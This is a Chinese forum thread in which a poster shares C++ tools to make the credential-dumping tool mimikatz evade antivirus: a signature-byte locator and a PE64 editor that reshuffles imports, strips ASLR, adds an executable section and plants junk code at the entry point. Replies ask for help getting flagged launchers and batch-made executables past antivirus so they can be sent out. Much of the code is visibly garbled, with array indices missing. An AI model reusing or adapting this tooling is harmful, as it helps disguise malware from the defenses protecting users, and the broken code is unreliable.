vcvycy 发表于 2016-11-29 21:33

PE文件免杀操作类~

前两周有人托我免杀mimikatz(64位)。自己写了个特征码定位器和PE文件操作。发出来共享下吧。
特征码定位(自己写怕网上有后门,而且还不用学怎么操作那些软件):

MAX_CODE_LENGTH 这个东西定义最大特征码长度,稍微优化了下,不会出现特征码被从中间中断的情况。

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<vector>
using namespace std;
#define DEVIDE5          //每个文件分成5个部分
#define OVERLAY 50
struct CCLPART{            //包含特征码文件的每一部分
charszFileName;
DWORD dwByteReserved;    //前dwByteReserved个字符被保留,后面的填充
PVOID pData;
DWORD dwDataSize;
bool isKilled(){      //用于检测当前部分是否被查杀
    bool bKilled=false;
    FILE *f=fopen(szFileName,"r");
    if (f==NULL)bKilled=true;
    fclose(f);
    DeleteFile(szFileName);
    return bKilled;
}
void Work(PVOID data,DWORD bytesreserved,DWORD datasize){//将大小为datasize的文件data
    pData=data;
    dwByteReserved=min(bytesreserved,datasize);
    dwDataSize=datasize;
    sprintf(szFileName,"Part_%08x.exe",dwByteReserved);

    FILE *f=fopen(szFileName,"wb+");
    fwrite(pData,1,dwByteReserved,f);
    char p;p=0x61;p=0x60;
    for (int i=bytesreserved;i<dwDataSize;i++)
      fwrite(p+(i&1),1,1,f);
    fclose(f);
}
};
#define FILE_NOT_FOUND -1
#define MAX_CODE_LENGTH 15
#define PART8
class CCL{
private:
char m_szFileName;
FILE *m_File;
PVOID m_Data;

int getFileSize(){
    fseek(m_File,0,SEEK_END);
    return ftell(m_File);
}
public:
int Load(char *szFileName){
    strcpy(m_szFileName,szFileName);
    if ((m_File=fopen(m_szFileName,"rb"))==NULL)return FILE_NOT_FOUND;
    int nFileSize=getFileSize();
    printf("[*]文件载入成功 :%s\n",m_szFileName);
    m_Data=malloc(nFileSize);
    fseek(m_File,0,SEEK_SET);
    int nRead=fread(m_Data,1,nFileSize,m_File);

    if (!SetCurrentDirectory("C:\\Users\\thinkt\\Desktop\\免杀\\")){printf("cd error!\n");return 0;}
    int curPosStart=0;            //特征码所在区间的左边界和大小
    int curSize=nFileSize;
    int part=PART;
    vector<CCLPART> State;
    int Round=1;
    while (curSize>=MAX_CODE_LENGTH*2){
      printf(" [*]Round %d\n",Round++);
      printf("   [-]分块大小 %d\n",curSize);
      printf("   [-]特征码区间[%x,%x]\n",curPosStart,curPosStart+curSize-1);
      int nEachPart=curSize/part+(curSize%part>0);
      for (int i=1;i<=part;i++){
      CCLPART cclpart;
      cclpart.Work(m_Data,curPosStart+nEachPart*i,nFileSize);
      State.push_back(cclpart);
      }
      system("pause");
      int newPos=curPosStart;
      for (int i=0;i<State.size();i++){
      if (!State.isKilled()){
         newPos+=nEachPart;
      }
      else{
          break;
      }
       }
       //printf("eachPart=%d newPos=%x\n",nEachPart,newPos);
      curSize=nEachPart;
      curSize+=min(MAX_CODE_LENGTH,newPos-curPosStart);
      newPos=max(curPosStart,newPos-MAX_CODE_LENGTH); //回退MAX_CODE_LENGTH个字节,且保证区间不可能比原区间更大
      curPosStart=newPos;
      State.clear();
      printf("   [-]Round %d Finished\n",Round-1);
    }

    printf(" [*]枚举特征码终点\n");
    printf("   [-]当前等待确定区间大小 %d\n",curSize);
    printf("   [-]特征码区间[%x,%x]\n",curPosStart,curPosStart+curSize-1);

    for (int i=1;i<=curSize;i++){
      CCLPART cclpart;
      cclpart.Work(m_Data,curPosStart+i,nFileSize);
      State.push_back(cclpart);
    }
    system("pause");
    int CCEnd=curPosStart;
       for (int i=0;i<State.size();i++){
      if (!State.isKilled())
          CCEnd++;
      else{
          break;
      }
       }
    printf(" [*]定位到特征码终点[%08x]\n",CCEnd);
    return 0;
}
};
CCL ccl;
int main(int argc,char** argv){
//if (argc<0)return;
SetCurrentDirectory("E:\\CrackMe\\mimikatz_trunk\\x64\\");
if (ccl.Load("mimikatz_0x8.exe")!=0)
    printf("Error");
return 0;
}



64位 PE文件操作类(基本都是输入表操作,还没写完,写发出来吧):
一些功能:移动输入表DLL和函数字符串位置,打乱输入表函数顺序,在输入表中插入一个函数。在入口处添加花指令。
接下来会更新下:比如重建输入表,只保留getProcAddress和loadLibrary两个,其他在入口处重建输入表。
反正想到什么更新什么。
发现NOD32输入表查杀太厉害了。其他稍微变形下就过了。
#include<stdio.h>
#include<stdlib.h>
#include<algorithm>
#include<string.h>
#include<windows.h>
#include<stdlib.h>
#include<vector>
using namespace std;

//错误信息
#define UNABLE_OPEN_FILE   -1
#define FREAD_ERROR      -2
#define IS_NOT_PE_64       -3
#define OUT_OF_PE_RANGE    -4
/*
类CPE64:
说明:
    (1)整个PE文件全部读入m_pData;
    (2)所有PE文件成分(如NT Header,DOS Header)的指针都指向m_pData空间;
    (3)成员变量原则上指向的都是Raw偏移/m_pData指针(方便直接操作文件),而非RVA;
    (4)RVA和RAW以DWORD保存,VA以QWORD保存
*/
/*
不同于PE32:
1、PIMAGE_NT_HEADERS64
*/
typedef struct _IID_FUN_INFO64{                     //导入函数信息rva地址
DWORD INTAddr;                                    //导入函数的INT项RVA地址(IMAGE_THUNK_DATA64)
DWORD IATAddr;                                    //导入函数的IAT项RVA地址(IMAGE_THUNK_DATA64)
DWORD NAMEAddr;                                     //导入函数Hint和名称RVA (IMAGE_IMPORT_BY_NAME)
vector<DWORD> CALLAddr;                           //引用(call,jmp)该函数的RVA地址集合
}IID_FUN_INFO64,*PIID_FUN_INFO64;

classCMEMALLOC{                                     //文件中的0x00空白区域存放在此。存放FOA和其大小。
private:
vector< pair<DWORD,DWORD> > vMem;                   //First为FOA,Seconf为Size
public:
int Add(DWORD dwStart,DWORD dwSize){
   vMem.push_back(make_pair(dwStart,dwSize));
   return 0;
}
int Alloc(DWORD dwSize){                           //分配内存,成功返回FOA,失败exit(0)
    for (int i=0;i<vMem.size();i++)
    if (vMem.second>dwSize){
      vMem.first+=dwSize;
      vMem.second-=dwSize;
      return vMem.first-dwSize;
    }
    exit(-1);
}
};

class CPE64{
private:
DWORD                     m_dwFileSize;
PBYTE                     m_pData;                           //保存整个文件
//PE文件结构成员(指针均指向m_pData的这部分空间)
PIMAGE_DOS_HEADER         m_pIDH;
PIMAGE_NT_HEADERS64       m_pINH;
DWORD                     m_dwSections;                      //区块个数
PIMAGE_SECTION_HEADER   m_pISH;
DWORD                     m_dwIIDs;                        //导入表DLL数目
PIMAGE_IMPORT_DESCRIPTORm_pIID;
CMEMALLOC               m_ZeroMem;
int InitMemValue();                                          //初始化以上结构体、成员

intUnload();                                             //初始化
BOOL IsPE64();
//地址转换
PBYTE FOA2PBYTE(DWORD dwOffset);                           //    ->
DWORD PBYTE2FOA(PBYTE pByte);                              //    <-
DWORD FOA2RVA(DWORD dwRaw);                                  //    ->
DWORD RVA2FOA(DWORD dwRVA);                                  //    <-
DWORD RVA2FOA(ULONG64 u64RVA);                               //IMAGE_THUNK_DATA64 中的RVA为64位。直接当成32位处理
#define RVA2PBYTE(rva)(FOA2PBYTE(RVA2FOA(rva)))
#define PBYTE2RVA(pb)   (FOA2RVA(PBYTE2FOA(pb)))

int   UnsetASLR();
//导入表操作
int   IIDGetFunInfo (PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD dwFunIdx,PIID_FUN_INFO64 pIFunInfo);//获取导入函数信息(IID_FUN_INFO64)
DWORD IIDFunCount(PIMAGE_IMPORT_DESCRIPTOR pIID);                                           //返回IID函数个数
int   IIDSwapFuns (PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,DWORD id2);                        //交换DLL中两个导入函数位置
//搜索
int   Find(PBYTE pSeq,DWORD dwSz,vector<DWORD>&pos);                                    //搜索文件中的二进制序列。返回FOA数组

public:
CPE64();
~CPE64();
intLoad(char *szFileName);                                  //正确载入文件:返回0
intSave(char *szFileName);
//导入函数操作
PIMAGE_IMPORT_DESCRIPTOR GetIID(DWORD dwIdx);
PIMAGE_IMPORT_DESCRIPTOR GetIID(char *szDllName);            //通过DLL名获取其对应的PIMAGE_IMPORT_DESCRIPTOR
intIIDNameStrMove(char *szDLLName);                        //移动IID结构体中Name指向的DLL字符串。移动到区块末尾的0填充区域。
intIIDDisplay();                                           //显示所有导入DLL

intIIDFunDisplay (char *szDllName);                        //显示某个导入表信息
intIIDFunRemove(char *szDLLName,char*szFunName);         //在导入表中删除粗函数
intIIDFunInsert(char *szDLLName,char* szFunName);      //在导入表中添加函数
intIIDFunReverse (char* szDLLName);                        //导入DLL(pIID)中的函数随机改变
//导出表
intIEDDisplay();
//花指令
intAddJunkCodeAtEntry(PBYTE pCode,DWORD dwSize);
//区块
intDisplaySecs();
intAddSection(char *szName,DWORD dwSize,DWORD dwAttrib);   //添加一个空区块,并放入m_ZeroMem。属性值默认为Read|Write|Executable(0xE0000020)
};
CPE64::CPE64(){
    m_dwFileSize=0;
    m_pData=NULL;
}
CPE64::~CPE64(){
    Unload();
}
int CPE64::InitMemValue(){
    //PE结构指针赋值
    m_pIDH=(PIMAGE_DOS_HEADER)FOA2PBYTE(0);
    m_pINH=(PIMAGE_NT_HEADERS64)FOA2PBYTE(m_pIDH->e_lfanew);
    if (!IsPE64())return IS_NOT_PE_64;
    //区块赋值
    m_dwSections=m_pINH->FileHeader.NumberOfSections;
    DWORD dwSecOff=sizeof(IMAGE_NT_HEADERS64)+PBYTE2FOA((PBYTE)m_pINH);
    for (int iSec=0;iSec<m_dwSections;iSec++){
      m_pISH=(PIMAGE_SECTION_HEADER)FOA2PBYTE(dwSecOff);
      dwSecOff+=sizeof(IMAGE_SECTION_HEADER);
    }
    //导入表指针赋值
    DWORD dwIIDOff=RVA2FOA(m_pINH->OptionalHeader.DataDirectory.VirtualAddress);
    m_dwIIDs=0;
    while (1){
      m_pIID=(PIMAGE_IMPORT_DESCRIPTOR)FOA2PBYTE(dwIIDOff);
      if (m_pIID->FirstThunk==0&&m_pIID->OriginalFirstThunk==0) break;
      m_dwIIDs++;
      dwIIDOff+=sizeof(IMAGE_IMPORT_DESCRIPTOR);
    }
    //提取空白区域
    for(int i=0;i<m_dwSections;i++){
      int dwSize;
      PBYTE pStart;
      dwSize=0;
      pStart=FOA2PBYTE(m_pISH->PointerToRawData+m_pISH->SizeOfRawData-1);
      while (*pStart==0x00){
          pStart--;
          dwSize++;
      }
      int dwStart=PBYTE2FOA(pStart+1);
      dwSize-=0x20;dwStart+=0x20;
      dwSize+=dwStart&0x0f;dwStart&=~0x0f;
      if (dwSize>=0x20) m_ZeroMem.Add(dwStart,dwSize);
    }
    return 0;
}
int CPE64::Unload(){
    if (m_dwFileSize==0)return 0;
    m_dwFileSize=0;
    free(m_pData);
    return 0;
}
int CPE64::UnsetASLR(){                                          //清除IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE(0x40)标记
    WORD *wFlag=(WORD*)(&(m_pINH->OptionalHeader.DllCharacteristics));
    *wFlag&=~0x0040;
    return 0;
}
PBYTE CPE64::FOA2PBYTE(DWORD dwOffset){
    if (dwOffset>=m_dwFileSize)exit(OUT_OF_PE_RANGE);
    return m_pData+dwOffset;
}
DWORD CPE64::PBYTE2FOA(PBYTE pByte){
    return (DWORD)(pByte-m_pData);
}
BOOL CPE64::IsPE64(){
    return m_pIDH->e_magic==0x5A4D && m_pINH->OptionalHeader.Magic==0x020B;
}
#define INRANGE(x,start,size) (((x)>=(start))&&((x)<((start)+(size))))            //当x在区间[start,start+size)内
DWORD CPE64::FOA2RVA(DWORD dwRaw){
    for (int i=0;i<m_dwSections;i++){
       if (INRANGE(dwRaw,m_pISH->PointerToRawData,m_pISH->SizeOfRawData)){
         return m_pISH->VirtualAddress+dwRaw-m_pISH->PointerToRawData;
       }
    }
    return 0;
}
DWORD CPE64::RVA2FOA(DWORD dwRVA){
    //枚举节区,检查rva处于哪个节区。
    for (int i=0;i<m_dwSections;i++){
       if (dwRVA>=m_pISH->VirtualAddress && dwRVA-m_pISH->VirtualAddress < m_pISH->SizeOfRawData){
         int PointerToRawData=m_pISH->PointerToRawData/0x200*0x200;
         return dwRVA-m_pISH->VirtualAddress+PointerToRawData;
       }
    }
    return 0;
}
DWORD CPE64::RVA2FOA(ULONG64 u64RVA){
    return RVA2FOA((DWORD)u64RVA);
}
DWORD CPE64::IIDFunCount(PIMAGE_IMPORT_DESCRIPTOR pIID){
   PIMAGE_THUNK_DATA64 p=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   DWORD dwCount=0;
   while (p->u1.AddressOfData!=0){p++;dwCount++;}
   return dwCount;
}

PIMAGE_IMPORT_DESCRIPTOR CPE64::GetIID(DWORD dwIdx){
   if (dwIdx>=m_dwIIDs)return NULL;
   return m_pIID;
}
PIMAGE_IMPORT_DESCRIPTOR CPE64::GetIID(char *szDllName){
   for (int i=0;i<m_dwIIDs;i++){
   PIMAGE_IMPORT_DESCRIPTOR pIID=m_pIID;
   char *szName=(char*)RVA2PBYTE(pIID->Name);
   //比较DLL名称(转为小写字母)
   bool bSame=true;
   for (int j=0;j<strlen(szDllName);j++)
      if ((szName|0x20)!=(szDllName|0x20)){
          bSame=false;
          break;
      }
   if (bSame)return pIID;
   }
   return NULL;
}
int CPE64::IIDDisplay(){
   for (int i=0;i<m_dwIIDs;i++){
   printf("%s\n",RVA2PBYTE(m_pIID->Name));
   }
   return 0;
}
int CPE64::IIDFunDisplay(char *szDLLName){
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
   if (pIID==NULL){
   printf("[!]DLL %s Not Found!\n",szDLLName);
   return -1;
   }
   printf("[*]%s\n",RVA2PBYTE(pIID->Name));
   printf("[*]ImageImportDescriptor:\n");
   printf("   [-]OriginalFirstThunk:0x%08x\n",pIID->OriginalFirstThunk);
   printf("   [-]Name:                0x%08x\n",pIID->Name);
   printf("   [-]FirstThunk:          0x%08x\n\n",pIID->FirstThunk);
   printf("   IndexHint   API name\n"
          "   ----------    ---------------------------\n");
   PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   int Idx=0;
   while (pINT->u1.AddressOfData!=0){
   PIMAGE_IMPORT_BY_NAME pIIBN=(PIMAGE_IMPORT_BY_NAME)RVA2PBYTE(pINT->u1.AddressOfData);
   printf("   [%03d]%04x    \"%s\"\n",Idx++,pIIBN->Hint,pIIBN->Name);
   pINT++;
   }
   return 0;
}
int CPE64::IIDGetFunInfo(PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,PIID_FUN_INFO64 pIFunInfo){
   /*
   64位中的call,jmp均有对应的32位相对寻址
   */
   DWORDdwFunNum=IIDFunCount(pIID);
   if (dwFunNum<=id)return -1;

   PIMAGE_THUNK_DATA64 pINT;
   PIMAGE_THUNK_DATA64 pIAT;
   //填充函数结构体
   pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);

   ULONG64 base=m_pINH->OptionalHeader.ImageBase;
   BYTE pSeq;
   //填充函数1结构体
   pIFunInfo->INTAddr=PBYTE2RVA((PBYTE)(pINT+id));
   pIFunInfo->IATAddr=PBYTE2RVA((PBYTE)(pIAT+id));
   for (DWORD foa=0;foa<m_dwFileSize-6;foa++){
   bool yes=false;
   if (m_pData==0xff&&m_pData==0x25)yes=true;//jmp 指令
   if (m_pData==0xff&&m_pData==0x15)yes=true;//call指令
   if(yes){
       //64位的jmp(0xff,0x25)和call(0xff,0x15)指令为相对寻址。
       DWORD offset=*(DWORD*)FOA2PBYTE(foa+2);
       DWORD rva=FOA2RVA(foa)+6+offset;
       if (rva==pIFunInfo->IATAddr)
         pIFunInfo->CALLAddr.push_back(FOA2RVA(foa));
   }
   }
   pIFunInfo->NAMEAddr=*((DWORD*)RVA2PBYTE(pIFunInfo->INTAddr));
   return 0;
}
int CPE64::Load(char *szFileName){
    //读取整个文件存入pData
    Unload();
    FILE *f=fopen(szFileName,"rb");
    if (f==NULL)return UNABLE_OPEN_FILE;
    fseek(f,0,SEEK_END);
    m_dwFileSize=ftell(f);                                                      //文件大小
    m_pData=(PBYTE)malloc(m_dwFileSize);
    fseek(f,0,SEEK_SET);
    if (fread((PVOID)m_pData,1,m_dwFileSize,f)!=m_dwFileSize)return FREAD_ERROR;
    fclose(f);

    return InitMemValue();
}

int CPE64::Find(PBYTE pSeq,DWORD dwSz,vector<DWORD>&pos){
    //KMP匹配
    int *fail=(int*)malloc(dwSz);
    fail=0;
    int j=0;
    for (int i=1;i<dwSz;i++){
      while(j&&pSeq!=pSeq)j=fail;
      if (pSeq==pSeq)j++;
      fail=j;
    }
    j=0;
    for(int i=0;i<m_dwFileSize;i++){
      while (j&&m_pData!=pSeq)j=fail;
      if (m_pData==pSeq)j++;
      if (j==dwSz){
      pos.push_back(i-dwSz+1);
      j=fail;
      }
    }
    free(fail);
    return 0;
}

int CPE64::IIDSwapFuns(PIMAGE_IMPORT_DESCRIPTOR pIID,DWORD id,DWORD id2){
   /*按照调用以以下顺序API编写:(64位下,call jmp都有32位相对寻址)

   如调用_amsg_exit函数:
   (1)000000014006A86E: call 0x00004a4d;      //64位下为相对寻址
      000000014006A873:
      ...                                     //(注:000000014006A873+4a4d=0x14006f2c0)
   (2)0x14006f2c0JMP          //机器码:FF 25 A2 39 00 00
      0x14006f2c6
      ...                                     //(注:0x14006f2c0+39a2=0x140072c68)
   (3)=00007FF8F7BBA4E0(函数入口地址)//(PE装载器写入Original Thunk的真实地址)
   */

   IID_FUN_INFO64 fun;
   IID_FUN_INFO64 fun2;
   if (IIDGetFunInfo(pIID,id,&fun))return -1;
   if (IIDGetFunInfo(pIID,id2,&fun2))return -1;
   DWORD *dwTmp;
   dwTmp=(DWORD*)RVA2PBYTE(fun.INTAddr);*dwTmp=fun2.NAMEAddr;
   dwTmp=(DWORD*)RVA2PBYTE(fun.IATAddr);*dwTmp=fun2.NAMEAddr;

   for (int idCall=0;idCall<fun.CALLAddr.size();idCall++){
      dwTmp=(DWORD*)RVA2PBYTE(fun.CALLAddr+2);       //两个字节指令码
   *dwTmp=fun2.IATAddr-fun.CALLAddr-6;
   }

   dwTmp=(DWORD*)RVA2PBYTE(fun2.INTAddr);*dwTmp=fun.NAMEAddr;
   dwTmp=(DWORD*)RVA2PBYTE(fun2.IATAddr);*dwTmp=fun.NAMEAddr;

   for (int idCall=0;idCall<fun2.CALLAddr.size();idCall++){
      dwTmp=(DWORD*)RVA2PBYTE(fun2.CALLAddr+2);
   *dwTmp=fun.IATAddr-fun2.CALLAddr-6;
   }
   return 0;
}
int CPE64::IIDFunRemove(char*szDLLName,char*szFunName){

   /* 思路:向下冒泡交换,到最后时直接删除*/
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
   DWORD dwFunNum=IIDFunCount(pIID);
   /*if (dwFunNum<=id) return -1;
   for (int curId=id;curId<dwFunNum-1;curId++){
   IIDSwapFuns(pIID,curId,curId+1);
   }
   PIMAGE_THUNK_DATA64 pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);
   (pINT+dwFunNum-1)->u1.AddressOfData=0;
   (pIAT+dwFunNum-1)->u1.AddressOfData=0;*/
   return 0;
}
int CPE64::Save(char *szFileName){
   FILE *f=fopen(szFileName,"wb+");
   if (f==NULL)return -1;
   fwrite(m_pData,1,m_dwFileSize,f);
   fclose(f);
   return 0;
}
int CPE64::IIDNameStrMove(char* szDLLName){                              //移动dll字符串到dwFOA。
    PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
    if (pIID==NULL)return -1;

    PBYTE pOld=RVA2PBYTE(pIID->Name);
    DWORD dwFOA;

    if ((dwFOA=m_ZeroMem.Alloc(strlen((const char*)pOld)+1))==0)return -1;
    PBYTE pNew=FOA2PBYTE(dwFOA);
    strcpy((char*)pNew,(char*)pOld);
    memset(pOld,0,strlen((const char*)pOld));
    pIID->Name=FOA2RVA(dwFOA);
    //printf("[%s]From FOA %xto FOA %x\n",pNew,PBYTE2FOA(pOld),PBYTE2FOA(pNew));
    return 0;
}
int CPE64::IIDFunReverse(char *szDLLName){
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);//m_pIID;
   if (pIID==NULL)return -1;
   UnsetASLR();
   int cntFun=IIDFunCount(pIID);
   for (int i=0;i<cntFun/2;i++)      IIDSwapFuns(pIID,i,cntFun-1-i);
   return 0;
}
int CPE64::IIDFunInsert(char *szDLLName,char*szFunName){
   PIMAGE_IMPORT_DESCRIPTOR pIID=GetIID(szDLLName);
   if (pIID==NULL)return -1;
   PIMAGE_THUNK_DATA64 pINT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->OriginalFirstThunk);
   PIMAGE_THUNK_DATA64 pIAT=(PIMAGE_THUNK_DATA64)RVA2PBYTE(pIID->FirstThunk);


   int nNum=IIDFunCount(pIID);
   pINT+=nNum;
   pIAT+=nNum;

   if ((pINT+1)->u1.AddressOfData!=NULL||(pIAT+1)->u1.AddressOfData!=NULL){
      printf(" Not Enough Space In FOA[%x or %x]!\n",PBYTE2FOA((PBYTE)pINT),PBYTE2FOA((PBYTE)pIAT));
      return -1;
   }
   //写入函数名字符串
   DWORD foa=m_ZeroMem.Alloc(strlen(szFunName)+1);
   DWORD rva=FOA2RVA(foa);
   memcpy(RVA2PBYTE(rva),szDLLName,strlen(szFunName));
   pINT->u1.AddressOfData=rva;
   pIAT->u1.AddressOfData=rva;
   return 0;
}
int CPE64::AddJunkCodeAtEntry(PBYTE pCode=NULL,DWORD dwSize=0){
   UnsetASLR();
   if (pCode==NULL){
   dwSize=30;
   pCode=(PBYTE)malloc(dwSize);
   pCode=0x55;                                             //push rbp
   pCode=0x48;pCode=0x89;pCode=0xe5;               //movrbp,rsp
   pCode=0xeb;pCode=0x02;                               //jmp[跳过两个字节]
   pCode=0xff;pCode=0x15;                               //无用代码,CALL指令的前缀
   pCode=0x48;pCode=0x8b;pCode=0x2c;pCode=0x24; //movrbp,
   pCode=0x50;                                          //push rax
   //mov rax,
   pCode=0x48;pCode=0xb8;
   *(ULONG64*)(pCode+15)=m_pINH->OptionalHeader.AddressOfEntryPoint+m_pINH->OptionalHeader.ImageBase;
   pCode=0x48;pCode=0x89;
   pCode=0x44;pCode=0x24;pCode=0x08;               //mov ,rax
   pCode=0x58;                                             //pop rax
   pCode=0xc3;                                             //ret
   }
   //写入文件
   PBYTE pZeroMem=FOA2PBYTE(m_ZeroMem.Alloc(dwSize));
   DWORD dwNewEntry=PBYTE2RVA(pZeroMem);
   memcpy(pZeroMem,pCode,dwSize);
   free(pCode);
   //修改入口点
   m_pINH->OptionalHeader.AddressOfEntryPoint=dwNewEntry;
   return 0;
}

int CPE64::DisplaySecs(){
printf("    NameVOffset   VSize   ROffset    RSize    Flags   \n"
         "--------------------------------   -------- --------\n");
DWORD dwNum=m_pINH->FileHeader.NumberOfSections;
for (int i=0;i<dwNum;i++){
    PIMAGE_SECTION_HEADER pISH=m_pISH;
    printf("%8s%08x%08x%08x%08x%08x\n",pISH->Name,pISH->VirtualAddress,
         pISH->Misc.VirtualSize,pISH->PointerToRawData,pISH->SizeOfRawData,pISH->Characteristics);
}
return 0;
}
#define GETCEIL(val,align) (((val)&(align-1))?(val)-((val)&(align-1))+(align):(val))   //以align对齐,上取整
int CPE64::AddSection(char *szName,DWORD dwSize,DWORD dwAttrib=0xc0000020){
   /* 属性值:
      读: IMAGE_SCN_MEM_READ(0x40000000)
      写: IMAGE_SCN_MEM_WRITE (0x80000000)
      执行:IMAGE_SCN_CNT_CODE(0x00000020)
   */
   dwSize=GETCEIL(dwSize,0x200);
   //重新申请更大的空间,并初始化m_pData与PE各结构体
   PBYTE pNewData=(PBYTE)malloc(m_dwFileSize+dwSize);
   memcpy(pNewData,m_pData,m_dwFileSize);
   memset(pNewData+m_dwFileSize,0,sizeof(dwSize));

   free(m_pData);
   m_dwFileSize+=dwSize;
   m_pData=pNewData;
   InitMemValue();

   //直接添加在区块后面(不判断是否有足够空间!)
   PIMAGE_SECTION_HEADER pISHPrev;
   PIMAGE_SECTION_HEADER pISH;
   pISHPrev =m_pISH;
   pISH   =(PIMAGE_SECTION_HEADER)((PBYTE)pISHPrev+sizeof(IMAGE_SECTION_HEADER));
   m_pISH=pISH;

   //区块结构体成员赋值
   memcpy(pISH,szName,strlen(szName));
   pISH->VirtualAddress   =GETCEIL(pISHPrev->VirtualAddress+pISHPrev->Misc.VirtualSize,0x1000);
   pISH->Misc.VirtualSize =dwSize;
   pISH->PointerToRawData =m_dwFileSize-dwSize;
   pISH->SizeOfRawData    =dwSize;
   pISH->Characteristics=dwAttrib;

   m_pINH->FileHeader.NumberOfSections++;
   m_pINH->OptionalHeader.SizeOfImage+=pISH->Misc.VirtualSize;
   return 0;
}
int CPE64::IEDDisplay(){
   if (m_pINH->OptionalHeader.DataDirectory.VirtualAddress==NULL){
   printf("Export Table Don't Exist!\n");
   return 0;
   }
   PIMAGE_EXPORT_DIRECTORY pIED=(PIMAGE_EXPORT_DIRECTORY)RVA2PBYTE(m_pINH->OptionalHeader.DataDirectory.VirtualAddress);
   printf("%s\n",RVA2PBYTE(pIED->Name));
   printf("   Ordinal RVA      Symbol Name\n"
          "   ------- ---------- ----------------------------------\n");
   DWORDNameNum=pIED->NumberOfNames;
   DWORD *pNameAddr=(DWORD*)RVA2PBYTE(pIED->AddressOfNames);
   WORD*pNameOrdinals=(WORD*)RVA2PBYTE(pIED->AddressOfNameOrdinals);
   for (int i=0;i<NameNum;i++){
   printf("   0x%04x 0x%08x %s \n",*pNameOrdinals,*pNameAddr,(char*)RVA2PBYTE(*pNameAddr));
   pNameAddr++;
   pNameOrdinals++;
   }
   return 0;
}
CPE64 pe64;
int main(){

SetCurrentDirectory("E:\\CrackMe\\mimikatz_trunk\\");
int n=pe64.Load("mimikatz.exe");
if (n!=0)return -2;
char *dll="msvcrt.dll";
pe64.DisplaySecs();
pe64.AddSection(".MySec",0x198,0xE0000020);
pe64.DisplaySecs();
pe64.IIDFunDisplay(dll);
pe64.IIDFunInsert (dll,"myfun");
//pe64.IIDFunDisplay(dll);
if(pe64.Save("modify.exe")==0)printf("save Success!\n");
//system("modify.exe");
return 0;
}


米奇哥哥 发表于 2017-11-15 12:16

楼主请教
之前传奇登陆器报毒一直用PE头移动 解决了管家报毒问题。
现在如果用了PE头移动 没多久 360又爆高风险 。
这个可以解决吗?最好是工具、傻瓜式的那种。
红包已备好。能处理的留下联系方式

2223862765 发表于 2016-11-29 21:53

哎呀。我的眼睛{:301_979:}

52P 发表于 2016-11-29 22:06

虽然看不懂,但还是要顶一下。

c66d88 发表于 2016-11-29 22:32

高手就是高手,看到这些就像天书

gxhayxj 发表于 2016-11-29 23:43

工具呢?

Deteriorator 发表于 2016-11-29 23:58

好屌,大神收下我的乞丐

vcvycy 发表于 2016-11-30 09:38

有人要工具么,过两个弄个命令行的吧。

s3233431 发表于 2016-11-30 10:34

没排版好可怕,一点阅读的欲望都没有了……

sg871013613 发表于 2017-3-4 11:44

我编写的批处理转化成exe怎么免杀发送出去

xtpl 发表于 2017-3-15 00:36

表示不知道怎么用
页: [1] 2 3
查看完整版本: PE文件免杀操作类~